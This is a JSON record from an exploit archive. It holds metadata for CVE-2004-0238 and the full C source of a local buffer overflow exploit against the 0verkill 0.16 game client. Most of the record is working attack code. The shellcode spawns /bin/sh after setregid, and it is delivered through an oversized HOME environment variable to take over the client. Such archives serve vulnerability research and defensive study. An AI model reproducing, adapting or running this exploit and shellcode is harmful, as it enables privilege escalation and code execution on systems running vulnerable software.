{"exploit":{"id":"EDB-23634","name":"0verkill 0.16 - Game Client Multiple Local Buffer Overflow","description":"0verkill 0.16 - Game Client Multiple Local Buffer Overflow","cves":["CVE-2004-0238"],"author":"pi3ki31ny","published":"2004-02-02","platform":"linux","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/23634","path":"exploits/linux/local/23634.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-23634.c","vulnerabilities":[{"id":"CVE-2004-0238","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple buffer overflows in Overkill (0verkill) 0.15pre3 might allow local users to execute arbitrary code in the client via a long HOME environment variable in the (1) load_cfg and (2) save_cfg functions; possibly allow remote attackers to execute arbitrary code via long strings to (3) the send_message function; and, in the server, via (4) the parse_command_line function.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0238","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0238"},"updatedAt":"2024-08-08T00:10:03.827Z","retrievedAt":"2026-11-27T17:08:40.782Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-23634.png?v=2","url":"https://exploitbin.com/exploits/EDB-23634","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-23634/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-23634/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// source: https://web.archive.org/web/2004/https://www.securityfocus.com/bid/9550/info\n\n// The 0verkill game client has been reported prone to multiple instances of exploitable buffer overrun vulnerabilities. The functions that have been reported to be affected are load_cfg(), save_cfg() and send_message(). It has been reported that due to a lack of sufficient boundary checks performed on user supplied data, an attacker may exploit the issues to execute arbitrary instructions in the security context of the Overkill game client.\n\n/*\n * Simple local exploit for 0verkill by pi3 (pi3ki31ny)\n * Greetz: [greetz on my web] && other my friends (you know who you are)\n *\n *         ...::: -=[ www.pi3.int.pl ]=- :::...\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <getopt.h>\n\n#define PATH \"./0verkill\"\n#define BUFS 300\n\n/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */\n\nchar shellcode[] = \"\\x31\\xdb\\x31\\xc0\\x31\\xd2\\xb2\\x2d\\x6a\\x0a\\x68\n\\x3a\"\n                   \"\\x2e\\x2e\\x2e\\x68\\x2d\\x20\\x3a\\x3a\\x68\\x6c\\x20\n\\x5d\"\n                   \"\\x3d\\x68\\x6e\\x74\\x2e\\x70\\x68\\x69\\x33\\x2e\\x69\n\\x68\"\n                   \"\\x77\\x77\\x2e\\x70\\x68\\x3d\\x5b\\x20\\x77\\x68\n\\x3a\\x3a\"\n                   \"\\x20\\x2d\\x68\\x2e\\x2e\\x2e\\x3a\\x89\\xe1\\xb0\\x04\n\\xcd\"\n                   \"\\x80\"\n\n/*    setregid (20,20)    */\n\n                   \"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\xb3\\x14\\xb1\\x14\\xb0\n\\x47\"\n                   \"\\xcd\\x80\"\n\n/*    exec /bin/sh    */\n\n                   \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\n\\x69\"\n                   \"\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\n\\x0b\\xcd\"\n                   \"\\x80\"\n\n/*    exit(0)    */\n\n                   \"\\x31\\xdb\\x89\\xd8\\xb0\\x01\\xcd\\x80\";\n\nlong ret_ad(char *a1, char *a2) {\n\n   return (0xbffffffa-strlen(a1)-strlen(a2));\n}\n\nint ussage(char *arg) {\n\n   printf(\"\\n\\t...::: -=[ Simple exploit for 0verkill (by pi3) ]\n=- :::...\\n\");\n   printf(\"\\n\\tUssage:\\n\\t[+] %s [options]\\n\n            -? <this help screen>\n            -o <offset>\n            -p PATH\\n\\n\",arg);\n   exit(-1);\n}\n\nint main(int argc, char *argv[]) {\n\n   long ret,*buf_addr;\n   char *buf,*path=PATH;\n   int i,opt,offset=0;\n   FILE *fp;\n\n   while((opt = getopt(argc,argv,\"p:o:?\")) != -1) {\n         switch(opt) {\n\n          case 'o':\n\n            offset=atoi(optarg);\n            break;\n\n          case 'p':\n\n            path=optarg;\n            break;\n\n          case '?':\n          default:\n\n            ussage(argv[0]);\n            break;\n         }\n   }\n\n   if ( (fp=fopen(path,\"r\"))==NULL) {\n      printf(\"\\n*\\tI can\\'t open path to victim! - %s\\t*\\n\\n\",path);\n      ussage(argv[0]);\n   } fclose(fp);\n\n   if (!(buf=(char*)malloc(BUFS))) {\n      printf(\"\\nI can\\'t locate memory! - buf\\n\");\n      exit(-1);\n   }\n\n   printf(\"\\n\\t...::: -=[ Simple exploit for 0verkill (by pi3) ]=- :::...\\n\");\n   printf(\"\\n\\t[+] Bulding buffors!\\n\");\n\n   ret=ret_ad(shellcode,path);\n   ret+=offset;\n\n   printf(\"\\t[+] Using adres 0x%x\\n\",ret);\n\n   buf_addr=(long*)buf;\n\n   for(i=0;i<BUFS;i+=4) {\n    *(buf_addr) = ret; buf_addr++;\n   }\n   memcpy(buf, shellcode, strlen(shellcode));\n\n   printf(\"\\nExecuting the vuln program - %s\\n\\n\",path);\n\n   setenv(\"HOME\", buf, 1);\n   execl(path,path, 0);\n   return 0;\n}","sha256":"0f6350bec6ece248008da09f841455f81a9eac9a58a878f22d71836b80bec7cb","bytes":3217,"fetchedAt":"2026-11-27T17:08:36.063Z","encoding":"utf-8 (display only; download retains original bytes)"}